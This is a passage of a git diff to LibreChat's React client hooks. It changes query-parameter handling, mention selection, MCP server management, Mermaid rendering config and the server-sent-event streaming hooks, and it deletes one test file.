TStartupConfig,
TPreset,
} from 'librechat-data-provider';
+import type { ZodAny } from 'zod';
import {
clearModelForNonEphemeralAgent,
removeUnavailableTools,
- specDisplayFieldReset,
- processValidSettings,
getModelSpecIconURL,
getConvoSwitchLogic,
logger,
@@ -23,6 +29,62 @@ import { useChatContext, useChatFormContext } from '~/Providers';
import { useGetAgentByIdQuery } from '~/data-provider';
import store from '~/store';
+/**
+ * Parses query parameter values, converting strings to their appropriate types.
+ * Handles boolean strings, numbers, and preserves regular strings.
+ */
+const parseQueryValue = (value: string) => {
+ if (value === 'true') {
+ return true;
+ }
+ if (value === 'false') {
+ return false;
+ }
+ if (!isNaN(Number(value))) {
+ return Number(value);
+ }
+ return value;
+};
+
+/**
+ * Processes and validates URL query parameters using schema definitions.
+ * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
+ * for assistants and agents.
+ */
+const processValidSettings = (queryParams: Record) => {
+ const validSettings = {} as TPreset;
+
+ Object.entries(queryParams).forEach(([key, value]) => {
+ try {
+ const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
+ if (schema) {
+ const parsedValue = parseQueryValue(value);
+ const validValue = schema.parse(parsedValue);
+ validSettings[key] = validValue;
+ }
+ } catch (error) {
+ console.warn(`Invalid value for setting ${key}:`, error);
+ }
+ });
+
+ if (
+ validSettings.assistant_id != null &&
+ validSettings.assistant_id &&
+ !isAssistantsEndpoint(validSettings.endpoint)
+ ) {
+ validSettings.endpoint = EModelEndpoint.assistants;
+ }
+ if (
+ validSettings.agent_id != null &&
+ validSettings.agent_id &&
+ !isAgentsEndpoint(validSettings.endpoint)
+ ) {
+ validSettings.endpoint = EModelEndpoint.agents;
+ }
+
+ return validSettings;
+};
+
const injectAgentIntoAgentsMap = (queryClient: QueryClient, agent: any) => {
const editCacheKey = [QueryKeys.agents, { requiredPermission: PermissionBits.EDIT }];
const editCache = queryClient.getQueryData(editCacheKey);
@@ -129,10 +191,13 @@ export default function useQueryParams({
endpointsConfig,
});
- const resetFields = newPreset.spec == null ? specDisplayFieldReset : {};
+ let resetParams = {};
if (newPreset.spec == null) {
- Object.assign(template, specDisplayFieldReset);
- newPreset = { ...newPreset, ...specDisplayFieldReset };
+ template.spec = null;
+ template.iconURL = null;
+ template.modelLabel = null;
+ resetParams = { spec: null, iconURL: null, modelLabel: null };
+ newPreset = { ...newPreset, ...resetParams };
}
// Sync agent_id from newPreset to template, then clear model if non-ephemeral agent
@@ -150,7 +215,7 @@ export default function useQueryParams({
conversation: {
...(conversation ?? {}),
endpointType: template.endpointType,
- ...resetFields,
+ ...resetParams,
},
preset: template,
cleanOutput: newPreset.spec != null && newPreset.spec !== '',
@@ -179,12 +244,13 @@ export default function useQueryParams({
],
);
- const conversationRef = useRef(conversation);
- conversationRef.current = conversation;
-
+ /**
+ * Checks if all settings from URL parameters have been successfully applied to the conversation.
+ * Compares values from validSettings against the current conversation state, handling special properties.
+ * Returns true only when all relevant settings match the target values.
+ */
const areSettingsApplied = useCallback(() => {
- const convo = conversationRef.current;
- if (!validSettingsRef.current || !convo) {
+ if (!validSettingsRef.current || !conversation) {
return false;
}
@@ -193,13 +259,13 @@ export default function useQueryParams({
continue;
}
- if (convo[key] !== value) {
+ if (conversation[key] !== value) {
return false;
}
}
return true;
- }, []);
+ }, [conversation]);
/**
* Processes message submission exactly once, preventing duplicate submissions.
@@ -219,12 +285,14 @@ export default function useQueryParams({
methods.handleSubmit((data) => {
if (data.text?.trim()) {
submitMessage(data);
- logger.log('conversation', 'Message submitted from query params');
+
+ const newUrl = window.location.pathname;
+ window.history.replaceState({}, '', newUrl);
+
+ console.log('Message submitted with conversation state:', conversation);
}
})();
-
- setSearchParams(new URLSearchParams(), { replace: true });
- }, [methods, submitMessage, setSearchParams]);
+ }, [methods, submitMessage, conversation]);
useEffect(() => {
const processQueryParams = () => {
@@ -264,7 +332,6 @@ export default function useQueryParams({
}
const { decodedPrompt, validSettings, shouldAutoSubmit } = processQueryParams();
- const hasSettings = Object.keys(validSettings).length > 0;
if (!shouldAutoSubmit) {
submissionHandledRef.current = true;
@@ -272,36 +339,45 @@ export default function useQueryParams({
/** Mark processing as complete and clean up as needed */
const success = () => {
+ const paramString = searchParams.toString();
+ const currentParams = new URLSearchParams(paramString);
+ currentParams.delete('prompt');
+ currentParams.delete('q');
+ currentParams.delete('submit');
+
+ setSearchParams(currentParams, { replace: true });
processedRef.current = true;
- logger.log('conversation', 'Query parameters processed successfully');
+ console.log('Parameters processed successfully', paramString);
clearInterval(intervalId);
- // Defer URL cleanup until after submission completes (processSubmission handles it)
+ // Only clean URL if there's no pending submission
if (!pendingSubmitRef.current) {
- setSearchParams(new URLSearchParams(), { replace: true });
+ const newUrl = window.location.pathname;
+ window.history.replaceState({}, '', newUrl);
}
};
- if (hasSettings) {
+ // Store settings for later comparison
+ if (Object.keys(validSettings).length > 0) {
validSettingsRef.current = validSettings;
}
+ // Save the prompt text for later use if needed
if (decodedPrompt) {
promptTextRef.current = decodedPrompt;
}
// Handle auto-submission
if (shouldAutoSubmit && decodedPrompt) {
- if (hasSettings) {
+ if (Object.keys(validSettings).length > 0) {
// Settings are changing, defer submission
pendingSubmitRef.current = true;
// Set a timeout to handle the case where settings might never fully apply
settingsTimeoutRef.current = setTimeout(() => {
if (!submissionHandledRef.current && pendingSubmitRef.current) {
- logger.log(
- 'conversation',
- 'Settings application timeout, proceeding with submission',
+ console.warn(
+ 'Settings application timeout reached, proceeding with submission anyway',
);
processSubmission();
}
@@ -325,7 +401,7 @@ export default function useQueryParams({
submissionHandledRef.current = true;
}
- if (hasSettings && !areSettingsApplied()) {
+ if (Object.keys(validSettings).length > 0) {
newQueryConvo(validSettings);
}
@@ -348,7 +424,6 @@ export default function useQueryParams({
setSearchParams,
queryClient,
processSubmission,
- areSettingsApplied,
]);
useEffect(() => {
@@ -363,7 +438,9 @@ export default function useQueryParams({
return;
}
- if (areSettingsApplied()) {
+ const allSettingsApplied = areSettingsApplied();
+
+ if (allSettingsApplied) {
settingsAppliedRef.current = true;
if (pendingSubmitRef.current) {
@@ -372,7 +449,7 @@ export default function useQueryParams({
settingsTimeoutRef.current = null;
}
- logger.log('conversation', 'Settings fully applied, processing submission');
+ console.log('Settings fully applied, processing submission');
processSubmission();
}
}
diff --git a/client/src/hooks/Input/useSelectMention.ts b/client/src/hooks/Input/useSelectMention.ts
index 00ba5095bb..731302ff0a 100644
--- a/client/src/hooks/Input/useSelectMention.ts
+++ b/client/src/hooks/Input/useSelectMention.ts
@@ -22,19 +22,19 @@ import store from '~/store';
export default function useSelectMention({
presets,
modelSpecs,
+ conversation,
assistantsMap,
returnHandlers,
endpointsConfig,
- getConversation,
newConversation,
}: {
+ conversation: TConversation | null;
presets?: TPreset[];
modelSpecs: TModelSpec[];
- returnHandlers?: boolean;
assistantsMap?: TAssistantsMap;
newConversation: ConvoGenerator;
endpointsConfig: TEndpointsConfig;
- getConversation: () => TConversation | null;
+ returnHandlers?: boolean;
}) {
const getDefaultConversation = useDefaultConvo();
const modularChat = useRecoilValue(store.modularChat);
@@ -45,8 +45,6 @@ export default function useSelectMention({
if (!spec) {
return;
}
-
- const conversation = getConversation();
const { preset } = spec;
preset.iconURL = getModelSpecIconURL(spec);
preset.spec = spec.name;
@@ -112,7 +110,7 @@ export default function useSelectMention({
});
},
[
- getConversation,
+ conversation,
getDefaultConversation,
modularChat,
newConversation,
@@ -135,8 +133,6 @@ export default function useSelectMention({
return;
}
- const conversation = getConversation();
-
const {
shouldSwitch,
isNewModular,
@@ -206,7 +202,7 @@ export default function useSelectMention({
keepAddedConvos: isNewModular,
});
},
- [getConversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
+ [conversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
);
const onSelectPreset = useCallback(
@@ -215,8 +211,6 @@ export default function useSelectMention({
return;
}
- const conversation = getConversation();
-
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const newEndpoint = newPreset.endpoint ?? '';
@@ -272,7 +266,7 @@ export default function useSelectMention({
},
[
modularChat,
- getConversation,
+ conversation,
availableTools,
newConversation,
endpointsConfig,
diff --git a/client/src/hooks/Input/useTextarea.ts b/client/src/hooks/Input/useTextarea.ts
index 15b415dabc..4eae002430 100644
--- a/client/src/hooks/Input/useTextarea.ts
+++ b/client/src/hooks/Input/useTextarea.ts
@@ -42,8 +42,8 @@ export default function useTextarea({
const checkHealth = useInteractionHealthCheck();
const enterToSend = useRecoilValue(store.enterToSend);
- const { index, conversation, isSubmitting, filesLoading, setFilesLoading } = useChatContext();
- const latestMessage = useRecoilValue(store.latestMessageFamily(index));
+ const { index, conversation, isSubmitting, filesLoading, latestMessage, setFilesLoading } =
+ useChatContext();
const [activePrompt, setActivePrompt] = useRecoilState(store.activePromptByIndex(index));
const { endpoint = '' } = conversation || {};
diff --git a/client/src/hooks/MCP/useMCPServerManager.ts b/client/src/hooks/MCP/useMCPServerManager.ts
index 4ba1ff6278..af65ba4507 100644
--- a/client/src/hooks/MCP/useMCPServerManager.ts
+++ b/client/src/hooks/MCP/useMCPServerManager.ts
@@ -2,14 +2,7 @@ import { useCallback, useState, useMemo, useRef, useEffect } from 'react';
import { useAtom } from 'jotai';
import { useToastContext } from '@librechat/client';
import { useQueryClient } from '@tanstack/react-query';
-import {
- Constants,
- QueryKeys,
- MCPOptions,
- Permissions,
- ResourceType,
- PermissionTypes,
-} from 'librechat-data-provider';
+import { Constants, QueryKeys, MCPOptions, ResourceType } from 'librechat-data-provider';
import {
useCancelMCPOAuthMutation,
useUpdateUserPluginsMutation,
@@ -18,7 +11,7 @@ import {
} from 'librechat-data-provider/react-query';
import type { TUpdateUserPlugins, TPlugin, MCPServersResponse } from 'librechat-data-provider';
import type { ConfigFieldDetail } from '~/common';
-import { useLocalize, useHasAccess, useMCPSelect, useMCPConnectionStatus } from '~/hooks';
+import { useLocalize, useMCPSelect, useMCPConnectionStatus } from '~/hooks';
import { useGetStartupConfig, useMCPServersQuery } from '~/data-provider';
import { mcpServerInitStatesAtom, getServerInitState } from '~/store/mcp';
import type { MCPServerInitState } from '~/store/mcp';
@@ -42,19 +35,12 @@ export function useMCPServerManager({
const localize = useLocalize();
const queryClient = useQueryClient();
const { showToast } = useToastContext();
- /** Retained for `interface.mcpServers.placeholder` used by `placeholderText` below */
- const { data: startupConfig } = useGetStartupConfig();
- const canUseMcp = useHasAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permission: Permissions.USE,
- });
+ const { data: startupConfig } = useGetStartupConfig(); // Keep for UI config only
- const { data: loadedServers, isLoading } = useMCPServersQuery({ enabled: canUseMcp });
+ const { data: loadedServers, isLoading } = useMCPServersQuery();
// Fetch effective permissions for all MCP servers
- const { data: permissionsMap } = useGetAllEffectivePermissionsQuery(ResourceType.MCPSERVER, {
- enabled: canUseMcp,
- });
+ const { data: permissionsMap } = useGetAllEffectivePermissionsQuery(ResourceType.MCPSERVER);
const [isConfigModalOpen, setIsConfigModalOpen] = useState(false);
const [selectedToolForConfig, setSelectedToolForConfig] = useState(null);
diff --git a/client/src/hooks/Mermaid/useMermaid.ts b/client/src/hooks/Mermaid/useMermaid.ts
index 31957dce36..26e195e401 100644
--- a/client/src/hooks/Mermaid/useMermaid.ts
+++ b/client/src/hooks/Mermaid/useMermaid.ts
@@ -1,10 +1,9 @@
import { useContext, useMemo, useState } from 'react';
+import DOMPurify from 'dompurify';
import useSWR from 'swr';
import { Md5 } from 'ts-md5';
-import DOMPurify from 'dompurify';
import { ThemeContext, isDark } from '@librechat/client';
import type { MermaidConfig } from 'mermaid';
-import { inlineFlowchartConfig } from '~/utils/mermaid';
// Constants
const MD5_LENGTH_THRESHOLD = 10_000;
@@ -86,12 +85,12 @@ export const useMermaid = ({
return {
startOnLoad: false,
theme: (customTheme as MermaidConfig['theme']) || defaultTheme,
+ // Spread custom config but override security settings after
...config,
- flowchart: { ...inlineFlowchartConfig, ...config?.flowchart, htmlLabels: false },
- // Security hardening: MUST come after ...config spread to prevent override
- securityLevel: 'strict',
- maxTextSize: config?.maxTextSize ?? 50000,
- maxEdges: config?.maxEdges ?? 500,
+ // Security hardening - these MUST come last to prevent override
+ securityLevel: 'strict', // Highest security: disables click, sanitizes text
+ maxTextSize: config?.maxTextSize ?? 50000, // Limit text size to prevent DoS
+ maxEdges: config?.maxEdges ?? 500, // Limit edges to prevent DoS
};
}, [customTheme, isDarkMode, config]);
diff --git a/client/src/hooks/Messages/useMessageActions.tsx b/client/src/hooks/Messages/useMessageActions.tsx
index e8946b895b..c168b16d6e 100644
--- a/client/src/hooks/Messages/useMessageActions.tsx
+++ b/client/src/hooks/Messages/useMessageActions.tsx
@@ -31,16 +31,8 @@ export default function useMessageActions(props: TMessageActions) {
const UsernameDisplay = useRecoilValue(store.UsernameDisplay);
const { message, currentEditId, setCurrentEditId, searchResults } = props;
- const {
- ask,
- index,
- regenerate,
- isSubmitting,
- conversation,
- latestMessageId,
- latestMessageDepth,
- handleContinue,
- } = useChatContext();
+ const { ask, index, regenerate, isSubmitting, conversation, latestMessage, handleContinue } =
+ useChatContext();
const getAddedConvo = useGetAddedConvo();
@@ -162,11 +154,10 @@ export default function useMessageActions(props: TMessageActions) {
enterEdit,
conversation,
messageLabel,
+ latestMessage,
handleFeedback,
handleContinue,
copyToClipboard,
- latestMessageId,
regenerateMessage,
- latestMessageDepth,
};
}
diff --git a/client/src/hooks/Messages/useMessageHelpers.tsx b/client/src/hooks/Messages/useMessageHelpers.tsx
index 0453e4a49c..0ecf5c684a 100644
--- a/client/src/hooks/Messages/useMessageHelpers.tsx
+++ b/client/src/hooks/Messages/useMessageHelpers.tsx
@@ -17,9 +17,9 @@ export default function useMessageHelpers(props: TMessageProps) {
regenerate,
isSubmitting,
conversation,
+ latestMessage,
setAbortScroll,
handleContinue,
- latestMessageId,
setLatestMessage,
} = useMessagesViewContext();
const agentsMap = useAgentsMapContext();
@@ -141,8 +141,8 @@ export default function useMessageHelpers(props: TMessageProps) {
conversation,
isSubmitting,
handleScroll,
+ latestMessage,
handleContinue,
- latestMessageId,
copyToClipboard,
regenerateMessage,
};
diff --git a/client/src/hooks/Messages/useSubmitMessage.ts b/client/src/hooks/Messages/useSubmitMessage.ts
index d924e3b987..fcf92d3eef 100644
--- a/client/src/hooks/Messages/useSubmitMessage.ts
+++ b/client/src/hooks/Messages/useSubmitMessage.ts
@@ -9,8 +9,7 @@ export default function useSubmitMessage() {
const { user } = useAuthContext();
const methods = useChatFormContext();
const { conversation: addedConvo } = useAddedChatContext();
- const { ask, index, getMessages, setMessages } = useChatContext();
- const latestMessage = useRecoilValue(store.latestMessageFamily(index));
+ const { ask, index, getMessages, setMessages, latestMessage } = useChatContext();
const autoSendPrompts = useRecoilValue(store.autoSendPrompts);
const setActivePrompt = useSetRecoilState(store.activePromptByIndex(index));
diff --git a/client/src/hooks/SSE/__tests__/useResumableSSE.spec.ts b/client/src/hooks/SSE/__tests__/useResumableSSE.spec.ts
deleted file mode 100644
index 9100f39858..0000000000
--- a/client/src/hooks/SSE/__tests__/useResumableSSE.spec.ts
+++ /dev/null
@@ -1,273 +0,0 @@
-import { renderHook, act } from '@testing-library/react';
-import { Constants, ErrorTypes, LocalStorageKeys } from 'librechat-data-provider';
-import type { TSubmission } from 'librechat-data-provider';
-
-type SSEEventListener = (e: Partial & { responseCode?: number }) => void;
-
-interface MockSSEInstance {
- addEventListener: jest.Mock;
- stream: jest.Mock;
- close: jest.Mock;
- headers: Record;
- _listeners: Record;
- _emit: (event: string, data?: Partial & { responseCode?: number }) => void;
-}
-
-const mockSSEInstances: MockSSEInstance[] = [];
-
-jest.mock('sse.js', () => ({
- SSE: jest.fn().mockImplementation(() => {
- const listeners: Record = {};
- const instance: MockSSEInstance = {
- addEventListener: jest.fn((event: string, cb: SSEEventListener) => {
- listeners[event] = cb;
- }),
- stream: jest.fn(),
- close: jest.fn(),
- headers: {},
- _listeners: listeners,
- _emit: (event, data = {}) => listeners[event]?.(data as MessageEvent),
- };
- mockSSEInstances.push(instance);
- return instance;
- }),
-}));
-
-const mockSetQueryData = jest.fn();
-const mockQueryClient = { setQueryData: mockSetQueryData };
-
-jest.mock('@tanstack/react-query', () => ({
- ...jest.requireActual('@tanstack/react-query'),
- useQueryClient: () => mockQueryClient,
-}));
-
-jest.mock('recoil', () => ({
- ...jest.requireActual('recoil'),
- useSetRecoilState: () => jest.fn(),
-}));
-
-jest.mock('~/store', () => ({
- __esModule: true,
- default: {
- activeRunFamily: jest.fn(),
- abortScrollFamily: jest.fn(),
- showStopButtonByIndex: jest.fn(),
- },
-}));
-
-jest.mock('~/hooks/AuthContext', () => ({
- useAuthContext: () => ({ token: 'test-token', isAuthenticated: true }),
-}));
-
-jest.mock('~/data-provider', () => ({
- useGetStartupConfig: () => ({ data: { balance: { enabled: false } } }),
- useGetUserBalance: () => ({ refetch: jest.fn() }),
- queueTitleGeneration: jest.fn(),
-}));
-
-const mockErrorHandler = jest.fn();
-const mockSetIsSubmitting = jest.fn();
-const mockClearStepMaps = jest.fn();
-
-jest.mock('~/hooks/SSE/useEventHandlers', () =>
- jest.fn(() => ({
- errorHandler: mockErrorHandler,
- finalHandler: jest.fn(),
- createdHandler: jest.fn(),
- attachmentHandler: jest.fn(),
- stepHandler: jest.fn(),
- contentHandler: jest.fn(),
- resetContentHandler: jest.fn(),
- syncStepMessage: jest.fn(),
- clearStepMaps: mockClearStepMaps,
- messageHandler: jest.fn(),
- setIsSubmitting: mockSetIsSubmitting,
- setShowStopButton: jest.fn(),
- })),
-);
-
-jest.mock('librechat-data-provider', () => {
- const actual = jest.requireActual('librechat-data-provider');
- return {
- ...actual,
- createPayload: jest.fn(() => ({
- payload: { model: 'gpt-4o' },
- server: '/api/agents/chat',
- })),
- removeNullishValues: jest.fn((v: unknown) => v),
- apiBaseUrl: jest.fn(() => ''),
- request: {
- post: jest.fn().mockResolvedValue({ streamId: 'stream-123' }),
- refreshToken: jest.fn(),
- dispatchTokenUpdatedEvent: jest.fn(),
- },
- };
-});
-
-import useResumableSSE from '~/hooks/SSE/useResumableSSE';
-
-const CONV_ID = 'conv-abc-123';
-
-type PartialSubmission = {
- conversation: { conversationId?: string };
- userMessage: Record;
- messages: never[];
- isTemporary: boolean;
- initialResponse: Record;
- endpointOption: { endpoint: string };
-};
-
-const buildSubmission = (overrides: Partial = {}): TSubmission => {
- const conversationId = overrides.conversation?.conversationId ?? CONV_ID;
- return {
- conversation: { conversationId },
- userMessage: {
- messageId: 'msg-1',
- conversationId,
- text: 'Hello',
- isCreatedByUser: true,
- sender: 'User',
- parentMessageId: '00000000-0000-0000-0000-000000000000',
- },
- messages: [],
- isTemporary: false,
- initialResponse: {
- messageId: 'resp-1',
- conversationId,
- text: '',
- isCreatedByUser: false,
- sender: 'Assistant',
- },
- endpointOption: { endpoint: 'agents' },
- ...overrides,
- } as unknown as TSubmission;
-};
-
-const buildChatHelpers = () => ({
- setMessages: jest.fn(),
- getMessages: jest.fn(() => []),
- setConversation: jest.fn(),
- setIsSubmitting: mockSetIsSubmitting,
- newConversation: jest.fn(),
- resetLatestMessage: jest.fn(),
-});
-
-const getLastSSE = (): MockSSEInstance => {
- const sse = mockSSEInstances[mockSSEInstances.length - 1];
- expect(sse).toBeDefined();
- return sse;
-};
-
-describe('useResumableSSE - 404 error path', () => {
- beforeEach(() => {
- mockSSEInstances.length = 0;
- localStorage.clear();
- });
-
- const seedDraft = (conversationId: string) => {
- localStorage.setItem(`${LocalStorageKeys.TEXT_DRAFT}${conversationId}`, 'draft text');
- localStorage.setItem(`${LocalStorageKeys.FILES_DRAFT}${conversationId}`, '[]');
- };
-
- const render404Scenario = async (conversationId = CONV_ID) => {
- const submission = buildSubmission({ conversation: { conversationId } });
- const chatHelpers = buildChatHelpers();
-
- const { unmount } = renderHook(() => useResumableSSE(submission, chatHelpers));
-
- await act(async () => {
- await Promise.resolve();
- });
-
- const sse = getLastSSE();
-
- await act(async () => {
- sse._emit('error', { responseCode: 404 });
- });
-
- return { sse, unmount, chatHelpers };
- };
-
- it('clears the text and files draft from localStorage on 404', async () => {
- seedDraft(CONV_ID);
- expect(localStorage.getItem(`${LocalStorageKeys.TEXT_DRAFT}${CONV_ID}`)).not.toBeNull();
- expect(localStorage.getItem(`${LocalStorageKeys.FILES_DRAFT}${CONV_ID}`)).not.toBeNull();
-
- const { unmount } = await render404Scenario(CONV_ID);
-
- expect(localStorage.getItem(`${LocalStorageKeys.TEXT_DRAFT}${CONV_ID}`)).toBeNull();
- expect(localStorage.getItem(`${LocalStorageKeys.FILES_DRAFT}${CONV_ID}`)).toBeNull();
- unmount();
- });
-
- it('calls errorHandler with STREAM_EXPIRED error type on 404', async () => {
- const { unmount } = await render404Scenario(CONV_ID);
-
- expect(mockErrorHandler).toHaveBeenCalledTimes(1);
- const call = mockErrorHandler.mock.calls[0][0];
- expect(call.data).toBeDefined();
- const parsed = JSON.parse(call.data.text);
- expect(parsed.type).toBe(ErrorTypes.STREAM_EXPIRED);
- expect(call.submission).toEqual(
- expect.objectContaining({
- conversation: expect.objectContaining({ conversationId: CONV_ID }),
- }),
- );
- unmount();
- });
-
- it('clears both TEXT and FILES drafts for new-convo when conversationId is absent', async () => {
- localStorage.setItem(`${LocalStorageKeys.TEXT_DRAFT}${Constants.NEW_CONVO}`, 'unsent message');
- localStorage.setItem(`${LocalStorageKeys.FILES_DRAFT}${Constants.NEW_CONVO}`, '[]');
-
- const submission = buildSubmission({ conversation: {} });
- const chatHelpers = buildChatHelpers();
-
- const { unmount } = renderHook(() => useResumableSSE(submission, chatHelpers));
-
- await act(async () => {
- await Promise.resolve();
- });
-
- const sse = getLastSSE();
- await act(async () => {
- sse._emit('error', { responseCode: 404 });
- });
-
- expect(localStorage.getItem(`${LocalStorageKeys.TEXT_DRAFT}${Constants.NEW_CONVO}`)).toBeNull();
- expect(
- localStorage.getItem(`${LocalStorageKeys.FILES_DRAFT}${Constants.NEW_CONVO}`),
- ).toBeNull();
- unmount();
- });
-
- it('closes the SSE connection on 404', async () => {
- const { sse, unmount } = await render404Scenario();
-
- expect(sse.close).toHaveBeenCalled();
- unmount();
- });
-
- it.each([undefined, 500, 503])(
- 'does not call errorHandler for responseCode %s (reconnect path)',
- async (responseCode) => {
- const submission = buildSubmission();
- const chatHelpers = buildChatHelpers();
-
- const { unmount } = renderHook(() => useResumableSSE(submission, chatHelpers));
-
- await act(async () => {
- await Promise.resolve();
- });
-
- const sse = getLastSSE();
-
- await act(async () => {
- sse._emit('error', { responseCode });
- });
-
- expect(mockErrorHandler).not.toHaveBeenCalled();
- unmount();
- },
- );
-});
diff --git a/client/src/hooks/SSE/useEventHandlers.ts b/client/src/hooks/SSE/useEventHandlers.ts
index 325ee97315..9f809bd6c1 100644
--- a/client/src/hooks/SSE/useEventHandlers.ts
+++ b/client/src/hooks/SSE/useEventHandlers.ts
@@ -526,23 +526,6 @@ export default function useEventHandlers({
} else if (requestMessage != null && responseMessage != null) {
finalMessages = [...messages, requestMessage, responseMessage];
}
-
- /* Preserve files from current messages when server response lacks them */
- if (finalMessages.length > 0) {
- const currentMsgMap = new Map(
- currentMessages
- .filter((m) => m.files && m.files.length > 0)
- .map((m) => [m.messageId, m.files]),
- );
- for (let i = 0; i < finalMessages.length; i++) {
- const msg = finalMessages[i];
- const preservedFiles = currentMsgMap.get(msg.messageId);
- if (msg.files == null && preservedFiles) {
- finalMessages[i] = { ...msg, files: preservedFiles };
- }
- }
- }
-
if (finalMessages.length > 0) {
setFinalMessages(conversation.conversationId, finalMessages);
} else if (
diff --git a/client/src/hooks/SSE/useResumableSSE.ts b/client/src/hooks/SSE/useResumableSSE.ts
index ddfee30120..831bf042ad 100644
--- a/client/src/hooks/SSE/useResumableSSE.ts
+++ b/client/src/hooks/SSE/useResumableSSE.ts
@@ -11,6 +11,7 @@ import {
apiBaseUrl,
createPayload,
ViolationTypes,
+ LocalStorageKeys,
removeNullishValues,
} from 'librechat-data-provider';
import type { TMessage, TPayload, TSubmission, EventSubmission } from 'librechat-data-provider';
@@ -19,9 +20,18 @@ import { useGetStartupConfig, useGetUserBalance, queueTitleGeneration } from '~/
import type { ActiveJobsResponse } from '~/data-provider';
import { useAuthContext } from '~/hooks/AuthContext';
import useEventHandlers from './useEventHandlers';
-import { clearAllDrafts } from '~/utils';
import store from '~/store';
+const clearDraft = (conversationId?: string | null) => {
+ if (conversationId) {
+ localStorage.removeItem(`${LocalStorageKeys.TEXT_DRAFT}${conversationId}`);
+ localStorage.removeItem(`${LocalStorageKeys.FILES_DRAFT}${conversationId}`);
+ } else {
+ localStorage.removeItem(`${LocalStorageKeys.TEXT_DRAFT}${Constants.NEW_CONVO}`);
+ localStorage.removeItem(`${LocalStorageKeys.FILES_DRAFT}${Constants.NEW_CONVO}`);
+ }
+};
+
type ChatHelpers = Pick<
EventHandlerParams,
| 'setMessages'
@@ -166,7 +176,7 @@ export default function useResumableSSE(
conversationId: data.conversation?.conversationId,
hasResponseMessage: !!data.responseMessage,
});
- clearAllDrafts(currentSubmission.conversation?.conversationId);
+ clearDraft(currentSubmission.conversation?.conversationId);
try {
finalHandler(data, currentSubmission as EventSubmission);
} catch (error) {
@@ -216,12 +226,12 @@ export default function useResumableSSE(
if (data.sync != null) {
console.log('[ResumableSSE] SYNC received', {
runSteps: data.resumeState?.runSteps?.length ?? 0,
- pendingEvents: data.pendingEvents?.length ?? 0,
});
const runId = v4();
setActiveRunId(runId);
+ // Replay run steps
if (data.resumeState?.runSteps) {
for (const runStep of data.resumeState.runSteps) {
stepHandler({ event: 'on_run_step', data: runStep }, {
@@ -231,15 +241,19 @@ export default function useResumableSSE(
}
}
+ // Set message content from aggregatedContent
if (data.resumeState?.aggregatedContent && userMessage?.messageId) {
const messages = getMessages() ?? [];
const userMsgId = userMessage.messageId;
const serverResponseId = data.resumeState.responseMessageId;
+ // Find the EXACT response message - prioritize responseMessageId from server
+ // This is critical when there are multiple responses to the same user message
let responseIdx = -1;
if (serverResponseId) {
responseIdx = messages.findIndex((m) => m.messageId === serverResponseId);
}
+ // Fallback: find by parentMessageId pattern (for new messages)
if (responseIdx < 0) {
responseIdx = messages.findIndex(
(m) =>
@@ -258,6 +272,7 @@ export default function useResumableSSE(
});
if (responseIdx >= 0) {
+ // Update existing response message with aggregatedContent
const updated = [...messages];
const oldContent = updated[responseIdx]?.content;
updated[responseIdx] = {
@@ -270,34 +285,25 @@ export default function useResumableSSE(
newContentLength: data.resumeState.aggregatedContent?.length,
});
setMessages(updated);
+ // Sync both content handler and step handler with the updated message
+ // so subsequent deltas build on synced content, not stale content
resetContentHandler();
syncStepMessage(updated[responseIdx]);
console.log('[ResumableSSE] SYNC complete, handlers synced');
} else {
+ // Add new response message
const responseId = serverResponseId ?? `${userMsgId}_`;
- const newMessage = {
- messageId: responseId,
- parentMessageId: userMsgId,
- conversationId: currentSubmission.conversation?.conversationId ?? '',
- text: '',
- content: data.resumeState.aggregatedContent,
- isCreatedByUser: false,
- } as TMessage;
- setMessages([...messages, newMessage]);
- resetContentHandler();
- syncStepMessage(newMessage);
- }
- }
-
- if (data.pendingEvents?.length > 0) {
- console.log(`[ResumableSSE] Replaying ${data.pendingEvents.length} pending events`);
- const submission = { ...currentSubmission, userMessage } as EventSubmission;
- for (const pendingEvent of data.pendingEvents) {
- if (pendingEvent.event != null) {
- stepHandler(pendingEvent, submission);
- } else if (pendingEvent.type != null) {
- contentHandler({ data: pendingEvent, submission });
- }
+ setMessages([
+ ...messages,
+ {
+ messageId: responseId,
+ parentMessageId: userMsgId,
+ conversationId: currentSubmission.conversation?.conversationId ?? '',
+ text: '',
+ content: data.resumeState.aggregatedContent,
+ isCreatedByUser: false,
+ } as TMessage,
+ ]);
}
}
@@ -347,13 +353,7 @@ export default function useResumableSSE(
console.log('[ResumableSSE] Stream not found (404) - job completed or expired');
sse.close();
removeActiveJob(currentStreamId);
- clearAllDrafts(currentSubmission.conversation?.conversationId);
- errorHandler({
- data: {
- text: JSON.stringify({ type: ErrorTypes.STREAM_EXPIRED }),
- } as unknown as Parameters[0]['data'],
- submission: currentSubmission as EventSubmission,
- });
+ setIsSubmitting(false);
setShowStopButton(false);
setStreamId(null);
reconnectAttemptRef.current = 0;
diff --git a/client/src/hooks/SSE/useSSE.ts b/client/src/hooks/SSE/useSSE.ts
index 78835f5729..ccdb252287 100644
--- a/client/src/hooks/SSE/useSSE.ts
+++ b/client/src/hooks/SSE/useSSE.ts
@@ -2,16 +2,32 @@ import { useEffect, useState } from 'react';
import { v4 } from 'uuid';
import { SSE } from 'sse.js';
import { useSetRecoilState } from 'recoil';
-import { request, createPayload, removeNullishValues } from 'librechat-data-provider';
+import {
+ request,
+ Constants,
+ /* @ts-ignore */
+ createPayload,
+ LocalStorageKeys,
+ removeNullishValues,
+} from 'librechat-data-provider';
import type { TMessage, TPayload, TSubmission, EventSubmission } from 'librechat-data-provider';
import type { EventHandlerParams } from './useEventHandlers';
import type { TResData } from '~/common';
import { useGetStartupConfig, useGetUserBalance } from '~/data-provider';
import { useAuthContext } from '~/hooks/AuthContext';
import useEventHandlers from './useEventHandlers';
-import { clearAllDrafts } from '~/utils';
import store from '~/store';
+const clearDraft = (conversationId?: string | null) => {
+ if (conversationId) {
+ localStorage.removeItem(`${LocalStorageKeys.TEXT_DRAFT}${conversationId}`);
+ localStorage.removeItem(`${LocalStorageKeys.FILES_DRAFT}${conversationId}`);
+ } else {
+ localStorage.removeItem(`${LocalStorageKeys.TEXT_DRAFT}${Constants.NEW_CONVO}`);
+ localStorage.removeItem(`${LocalStorageKeys.FILES_DRAFT}${Constants.NEW_CONVO}`);
+ }
+};
+
